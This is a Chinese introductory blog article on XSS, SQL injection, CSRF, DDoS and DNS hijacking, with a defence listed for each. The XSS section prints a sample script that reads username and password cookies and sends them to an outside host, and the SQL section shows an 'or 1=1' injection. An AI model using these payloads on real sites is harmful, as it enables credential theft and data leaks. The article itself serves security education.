当前位置:网站首页>一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持
一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持
2022-08-09 05:39:00 【极客飞兔】
XSS 攻击
- 全称跨站脚本攻击
Cross Site Scripting - 为了与重叠样式表
CSS进行区分,所以换了另一个缩写名称XSS XSS攻击者通过篡改网页,注入恶意的HTML脚本,一般是javascript,在用户浏览网页时,控制用户浏览器进行恶意操作的一种攻击方式XSS攻击经常使用在论坛,博客等应用中。攻击者可以偷取用户Cookie、密码等重要数据,进而伪造交易、盗取用户财产、窃取情报等私密信息

- 就像上图,如果用户在评论框中输入的并不是正常的文本,而是一段
javascript脚本,而后台又没对该用户的数据进行处理,直接存入数据库,那么当其他用户过来访问该页面,浏览器必然会执行这段脚本 - 当然这只是恶趣味,而真正的黑客并不会仅仅满足这样的恶趣味,可能更多的是想通过这些
注入脚本,获取你的个人信息,甚至是你的账号密码等信息

- 由上图可知,用户其实在评论的时候,引入了一个第三方脚本,在这个脚本中获取你浏览器的
cookie信息,并发送到指定的接口进行保存处理,这样你的信息就已经泄露了
// attack.js 中的逻辑
var uname = $.cookie('username'); // 获取账号
var pwd = $.cookie('password'); // 获取密码
// 发送请求
$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');
- 在上面逻辑中,脚本中获取了你的个人信息,并将你的个人信息发送到后端
php文件中进行处理保存,这样你的个人信息就已经泄露了,所以杜绝xss攻击在网络安全中非常的重要 - 所以后端永远不要相信用户提交的数据,在接收用户提交的信息时候,要进行
消毒处理 - 也就是过滤一些特殊的字符,比如
javascript脚本中的<>进行转移<>再进行存储,这样就能有效的进行xss攻击的预防 - 另外如果
cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样也能有效的防止XSS攻击窃取cookie内容

SQL 注入
SQL注入攻击指的是攻击者在HTTP请求中注入恶意SQL命令,服务器用请求参数构造数据库SQL命令时,恶意SQL被一起构造,并在数据库中执行,以便得到数据库中的感兴趣的数据或对数据库进行读取、修改、删除、插入等敏感的操作,从而导致数据被随意篡改- 但是
SQL注入攻击,需要攻击者对数据库表有所了解才行,比如你的项目开源了,不小心公开了数据库的账号和密码;另外你的网站上线没有关闭调试模式,有心者可以网站的根据错误回显可以猜测表结构;另外还有就是盲注,也即是很多有心者会盲猜数据表结构,但是这种难度最大 SQL注入可以通过预编译手段进行预防,绑定参数是最好的防SQL注入方法。现在流行的框架基本都实现了SQL预编译和参数绑定,恶意攻击的SQL会被当做SQL的参数,而不是SQL命令被执行
# 正常获取用户信息的sql
select * from users where id=1
# sql注入了 1 or 1=1,就可以把用户表中的所有数据全部查出,导致数据泄露
select * from users where id=1 or 1=1

CSRF 攻击
CSRF全称Cross Site Request Forgery,跨站点请求伪造,攻击者通过跨站请求,以合法的用户身份进行非法操作,如转账交易、发表评论等。其核心是利用了浏览器Cookie或服务器的Session策略,盗取用户的身份信息- 在打开
A网站的情况下,另开Tab页面打开恶意网站B,此时在B页面的恶意意图下,浏览器发起一个对网站A的HTTP请求 - 因为之前
A网站已经打开了,浏览器存有A网站中的Cookie或其他用于身份认证的信息,这一次被恶意意图的请求,将会自动带上这些信息,这将会导致身份劫持,造成并非本人意愿的操作结果 - 而对应
CSRF攻击的防御策略有:表单token、验证码、Referer 检测等

DDOS 攻击
DDOS全称Distributed Denial of Service,分布式拒绝服务攻击。是拒绝服务攻击的升级版。拒绝攻击服务其实就是让你的服务不能正常给用户提供服务,也就是俗话说的服务宕机。常用于攻击对外提供服务的服务器,像常见的:Web服务、邮件服务、DNS服务、即时通讯服务这些等- 在早期发起
DoS攻击是一件很容易的事情,只需要写个程序让服务过载,无暇提供正常服务即可,也就是一秒中请求服务多次,将目标服务器的内存跑崩 - 后来随着技术对发展,现在的服务器都是分布式,并不是单一服务器提供服务,一个服务背后拥有着是数不清的
CDN节点,也是就拥有着数不清的Web服务器。想靠单台服务器去攻击这种分布式网络,无异于对方以卵击石,而且现在很多DDOS 攻击都不是免费的,所以很容易造成偷鸡不成蚀把米 - 防御手段:随着技术发展到今天也并不能完全杜绝这种攻击的出现,只能通过技术去缓解。其中包括:
流量清洗、SYN Cookie等等

DNS 劫持
- 当今互联网流量中,以
HTTP/HTTPS为主的Web服务产生的流量占据了绝大部分 Web服务发展的如火如荼,这背后离不开一个默默无闻的大功臣就是域名解析系统,DNS提供将域名转换成ip地址的服务,每一个域名的解析都要经过DNS,所以可以看出它的重要性- 正是因为它的重要性,所以
DNS劫持很容易被别有用心的人利用 - 早期并没有考虑太多的安全性,所以导致
DNS很容易被劫持 - 如果攻击者篡改
DNS解析设置,将域名由正常IP指向由攻击者控制的非法IP,就会导致我们访问域名打开的却不是对应的网站,而是一个假冒或者别有用心的网站。这种攻击手段就是DNS劫持 - 通过
DNS劫持简单点可以导致用户流失,严重的后果甚至惠将用户诱导至攻击者控制额非法网站,可能会造成银行卡号、手机号码、账号密码等重要信息的泄露 - 后来出现了
DNSSEC技术,虽然在一定程度上解决了劫持问题,但是国内并没有太多应用的案例,因此后来阿里、腾讯推出了httpDNS服务也一定程度上可以抑制这种攻击手段 - 另外可以
安装SSL证书。SSL证书具备服务器身份认证功能,可以使DNS 劫持导致的连接错误情况及时被发现和终止

边栏推荐
- 通讯录改进即“保存”
- 【基于富瀚6630使用/dev/fb0显示设备和TDE模块渲染bmp图像】
- dsafasfdasfasf
- DS3231模块使用
- 22-08-08 西安 尚医通(04)MongoDB命令、MongoTemplate、MongoRepository
- 力扣242-有效的字母异位词——哈希表法
- Address book (dynamic version) (C language) (VS)
- 【LeetCode】136. 只出现一次的数字
- 【微信小程序】5分钟实现微信小程序海报
- [Deep Learning] Let's talk about what is convolutional neural network and what does convolution mean?
猜你喜欢

Chapter 3 Search and Graph Theory (1)

UI框架布局
![不能提取结果集,SQL [n / a]; org.hibernate.exception.SQLGrammarExcept是嵌套的异常](/img/00/328e4c296c00929140c9aff3bb896e.png)
不能提取结果集,SQL [n / a]; org.hibernate.exception.SQLGrammarExcept是嵌套的异常

Three Musketeers Advanced

Lock wait timeout exceeded; try restarting transaction 更新数据量范围太大,导致锁表惨案

步进电机驱动的使用及程序

打开数字时代的门槛,元宇宙NFT商城开发解决方案

shell regular expressions

屏:全贴合工艺之GF、GF2、G1F1、GG、TOL

剑指Offer-双指针类型题目总结
随机推荐
C语言如何给函数传二维数组?
保存Simulink仿真模型为图片或者PDF的方法
Functions and differences of command, shell, raw, script modules, application of file, copy, fetch, synchronize
剑指Offer-二维动态规划问题题目总结
Still don't know what business intelligence (BI) is?After reading this article, you will understand
C语言之内存函数
el与data的
unity urp 实现遮挡显示角色轮廓
浅谈单片机Boot的几种自刷新方式
ELTEK电源维修SMPS5000SIL整流器模块故障分析及特点
STM32的Cube学习笔记(ADC)
Open the threshold of the digital age, Metaverse NFT mall develops solutions
deploy发布的jar包中文乱码
JVM:(七)运行时数据区之堆
微服务架构基础 微服务相关概念及基础知识 贺兰的微博
matlab simulink球杆控制系统的模糊PID控制设计
【微信小程序】5分钟实现微信小程序海报
RNN-T
Eureka-Server------单节和集群的搭建
制作频谱应用FFT心得